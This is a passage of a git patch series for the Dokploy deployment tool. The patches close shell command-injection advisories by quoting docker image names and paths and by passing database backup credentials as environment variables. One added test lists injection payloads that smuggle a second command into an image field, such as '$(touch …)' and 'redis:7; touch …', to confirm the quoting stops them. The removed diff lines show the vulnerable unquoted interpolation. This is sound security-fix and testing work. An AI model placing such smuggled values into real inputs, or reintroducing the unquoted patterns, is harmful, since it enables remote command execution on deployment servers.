${quote([dockerContextPath])} || { + echo ${quote([`❌ The path ${dockerContextPath} does not exist`])} ; exit 1; } diff --git a/packages/server/src/utils/builders/nixpacks.ts b/packages/server/src/utils/builders/nixpacks.ts index b7134ea65..e02be0fc3 100644 --- a/packages/server/src/utils/builders/nixpacks.ts +++ b/packages/server/src/utils/builders/nixpacks.ts @@ -1,6 +1,7 @@ import path from "node:path"; import { getStaticCommand } from "@dokploy/server/utils/builders/static"; import { nanoid } from "nanoid"; +import { quote } from "shell-quote"; import { prepareEnvironmentVariablesForShell } from "../docker/utils"; import { getBuildAppDirectory } from "../filesystem/directory"; import type { ApplicationNested } from "."; @@ -52,10 +53,10 @@ export const getNixpacksCommand = (application: ApplicationNested) => { bashCommand += ` docker create --name ${buildContainerId} ${appName} - mkdir -p ${localPath} - docker cp ${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""} ${path.join(buildAppDirectory, publishDirectory)} || { + mkdir -p ${quote([localPath])} + docker cp ${quote([`${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""}`])} ${quote([localPath])} || { docker rm ${buildContainerId} - echo "❌ Copying ${publishDirectory} to ${path.join(buildAppDirectory, publishDirectory)} failed" ; + echo ${quote([`❌ Copying ${publishDirectory} to ${localPath} failed`])} ; exit 1; } docker rm ${buildContainerId} diff --git a/packages/server/src/utils/providers/docker.ts b/packages/server/src/utils/providers/docker.ts index f3a4c39f3..25a1ffa82 100644 --- a/packages/server/src/utils/providers/docker.ts +++ b/packages/server/src/utils/providers/docker.ts @@ -1,4 +1,5 @@ import { safeDockerLoginCommand } from "@dokploy/server/services/registry"; +import { quote } from "shell-quote"; import type { ApplicationNested } from "../builders"; export const buildRemoteDocker = async (application: ApplicationNested) => { @@ -9,7 +10,7 @@ export const buildRemoteDocker = async (application: ApplicationNested) => { throw new Error("Docker image not found"); } let command = ` -echo "Pulling ${dockerImage}"; +echo ${quote([`Pulling ${dockerImage}`])}; `; if (username && password) { @@ -22,7 +23,7 @@ fi } command += ` -docker pull ${dockerImage} 2>&1 || { +docker pull ${quote([dockerImage])} 2>&1 || { echo "❌ Pulling image failed"; exit 1; } From b24202e69b244f0ece8d2f56e99cad9bb5e1a248 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 22:45:31 -0600 Subject: [PATCH 24/55] fix(security): escape dockerImage in database service remote docker pull The deploy functions for postgres/mysql/mariadb/mongo/redis/libsql interpolated the user-settable dockerImage field unquoted into 'docker pull ${dockerImage}' executed via execAsyncRemote (SSH) on the remote server path. Now passed through shell-quote. The local path already used pullImage() (execFile-based) and is unaffected. Closes GHSA-6jrh-8qmg-jj3p --- .../db-service-dockerimage-injection.test.ts | 41 +++++++++++++++++++ packages/server/src/services/libsql.ts | 3 +- packages/server/src/services/mariadb.ts | 3 +- packages/server/src/services/mongo.ts | 3 +- packages/server/src/services/mysql.ts | 3 +- packages/server/src/services/postgres.ts | 3 +- packages/server/src/services/redis.ts | 3 +- 7 files changed, 53 insertions(+), 6 deletions(-) create mode 100644 apps/dokploy/__test__/deploy/db-service-dockerimage-injection.test.ts diff --git a/apps/dokploy/__test__/deploy/db-service-dockerimage-injection.test.ts b/apps/dokploy/__test__/deploy/db-service-dockerimage-injection.test.ts new file mode 100644 index 000000000..6d64cb3a4 --- /dev/null +++ b/apps/dokploy/__test__/deploy/db-service-dockerimage-injection.test.ts @@ -0,0 +1,41 @@ +import { execSync } from "node:child_process"; +import { existsSync, rmSync } from "node:fs"; +import { parse, quote } from "shell-quote"; +import { describe, expect, it } from "vitest"; + +// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql) +// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote) +// path. `docker` is replaced by `:` so only the injection surface is exercised. +const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`; + +const PAYLOADS = [ + "$(touch %MARK%)", + "`touch %MARK%`", + "redis:7; touch %MARK%", + "redis:7 && touch %MARK%", + "redis:7 | touch %MARK%", +]; + +describe("database service dockerImage command injection", () => { + it("does not execute injected commands from dockerImage", () => { + for (const template of PAYLOADS) { + if (existsSync(MARK)) rmSync(MARK); + const dockerImage = template.replace("%MARK%", MARK); + const command = `: pull ${quote([dockerImage])}`; + try { + execSync(command, { shell: "/bin/sh", stdio: "ignore" }); + } catch {} + expect(existsSync(MARK)).toBe(false); + } + if (existsSync(MARK)) rmSync(MARK); + }); + + it("keeps a legitimate image tag intact", () => { + expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([ + "postgres:16.4-alpine", + ]); + expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([ + "ghcr.io/org/db:latest", + ]); + }); +}); diff --git a/packages/server/src/services/libsql.ts b/packages/server/src/services/libsql.ts index dd2b82667..5a362789a 100644 --- a/packages/server/src/services/libsql.ts +++ b/packages/server/src/services/libsql.ts @@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { TRPCError } from "@trpc/server"; import { eq, getTableColumns } from "drizzle-orm"; +import { quote } from "shell-quote"; import type { z } from "zod"; import { validUniqueServerAppName } from "./project"; @@ -140,7 +141,7 @@ export const deployLibsql = async ( if (libsql.serverId) { await execAsyncRemote( libsql.serverId, - `docker pull ${libsql.dockerImage}`, + `docker pull ${quote([libsql.dockerImage])}`, onData, ); } else { diff --git a/packages/server/src/services/mariadb.ts b/packages/server/src/services/mariadb.ts index 189ab39ad..54ffb34ba 100644 --- a/packages/server/src/services/mariadb.ts +++ b/packages/server/src/services/mariadb.ts @@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { TRPCError } from "@trpc/server"; import { eq, getTableColumns } from "drizzle-orm"; +import { quote } from "shell-quote"; import type { z } from "zod"; import { validUniqueServerAppName } from "./project"; @@ -145,7 +146,7 @@ export const deployMariadb = async ( if (mariadb.serverId) { await execAsyncRemote( mariadb.serverId, - `docker pull ${mariadb.dockerImage}`, + `docker pull ${quote([mariadb.dockerImage])}`, onData, ); } else { diff --git a/packages/server/src/services/mongo.ts b/packages/server/src/services/mongo.ts index ad47cf04a..c6ff19f1e 100644 --- a/packages/server/src/services/mongo.ts +++ b/packages/server/src/services/mongo.ts @@ -12,6 +12,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { TRPCError } from "@trpc/server"; import { eq, getTableColumns } from "drizzle-orm"; +import { quote } from "shell-quote"; import type { z } from "zod"; import { validUniqueServerAppName } from "./project"; @@ -160,7 +161,7 @@ export const deployMongo = async ( if (mongo.serverId) { await execAsyncRemote( mongo.serverId, - `docker pull ${mongo.dockerImage}`, + `docker pull ${quote([mongo.dockerImage])}`, onData, ); } else { diff --git a/packages/server/src/services/mysql.ts b/packages/server/src/services/mysql.ts index 974f72f19..288c6fc28 100644 --- a/packages/server/src/services/mysql.ts +++ b/packages/server/src/services/mysql.ts @@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { TRPCError } from "@trpc/server"; import { eq, getTableColumns } from "drizzle-orm"; +import { quote } from "shell-quote"; import type { z } from "zod"; import { validUniqueServerAppName } from "./project"; @@ -143,7 +144,7 @@ export const deployMySql = async ( if (mysql.serverId) { await execAsyncRemote( mysql.serverId, - `docker pull ${mysql.dockerImage}`, + `docker pull ${quote([mysql.dockerImage])}`, onData, ); } else { diff --git a/packages/server/src/services/postgres.ts b/packages/server/src/services/postgres.ts index d4dddfdaf..3a9754125 100644 --- a/packages/server/src/services/postgres.ts +++ b/packages/server/src/services/postgres.ts @@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { TRPCError } from "@trpc/server"; import { eq, getTableColumns } from "drizzle-orm"; +import { quote } from "shell-quote"; import type { z } from "zod"; import { validUniqueServerAppName } from "./project"; @@ -155,7 +156,7 @@ export const deployPostgres = async ( if (postgres.serverId) { await execAsyncRemote( postgres.serverId, - `docker pull ${postgres.dockerImage}`, + `docker pull ${quote([postgres.dockerImage])}`, onData, ); } else { diff --git a/packages/server/src/services/redis.ts b/packages/server/src/services/redis.ts index 99f4dc853..da2822b13 100644 --- a/packages/server/src/services/redis.ts +++ b/packages/server/src/services/redis.ts @@ -10,6 +10,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { TRPCError } from "@trpc/server"; import { eq } from "drizzle-orm"; +import { quote } from "shell-quote"; import type { z } from "zod"; import { validUniqueServerAppName } from "./project"; @@ -110,7 +111,7 @@ export const deployRedis = async ( if (redis.serverId) { await execAsyncRemote( redis.serverId, - `docker pull ${redis.dockerImage}`, + `docker pull ${quote([redis.dockerImage])}`, onData, ); } else { From ccd2e83c57d99f725220d37e0152270e0827d71b Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 22:54:44 -0600 Subject: [PATCH 25/55] fix(security): pass db backup/restore identifiers via env vars to avoid injection The backup and restore command builders interpolated database name / user / password directly into a 'docker exec ... {bash,sh} -c "..."' string executed via execAsync / execAsyncRemote. Because the values sit inside the outer shell's double quotes, a simple quote() is insufficient: the outer shell expands $(), backticks and $VAR before the inner quoting applies (double-nested shell). Values are now passed to the container as environment variables (docker exec -e VAR=) and referenced as "$VAR" inside a single-quoted inner script, so they never enter the inner command text and cannot break out of either shell layer. The rest of each command (pg_dump/mysqldump/etc., flags, | gzip) is unchanged. Closes GHSA-qc73-mp78-4833, GHSA-qf8x-98cv-92qh, GHSA-ww4j-wjrr-rq8v, GHSA-7m3w-rm5f-h4fr, GHSA-f7mp-9jfp-mjrr --- .../db-backup-restore-injection.test.ts | 106 ++++++++++++++++++ packages/server/src/utils/backups/utils.ts | 16 ++- packages/server/src/utils/restore/utils.ts | 12 +- 3 files changed, 125 insertions(+), 9 deletions(-) create mode 100644 apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts diff --git a/apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts b/apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts new file mode 100644 index 000000000..d48644c95 --- /dev/null +++ b/apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts @@ -0,0 +1,106 @@ +import { execSync } from "node:child_process"; +import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs"; +import { + getLibsqlBackupCommand, + getMariadbBackupCommand, + getMongoBackupCommand, + getMysqlBackupCommand, + getPostgresBackupCommand, +} from "@dokploy/server/utils/backups/utils"; +import { + getMariadbRestoreCommand, + getMongoRestoreCommand, + getMysqlRestoreCommand, + getPostgresRestoreCommand, +} from "@dokploy/server/utils/restore/utils"; +import { afterAll, beforeAll, describe, expect, it } from "vitest"; + +// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID, +// exports the -e VAR=val pairs, and runs the inner `sh -c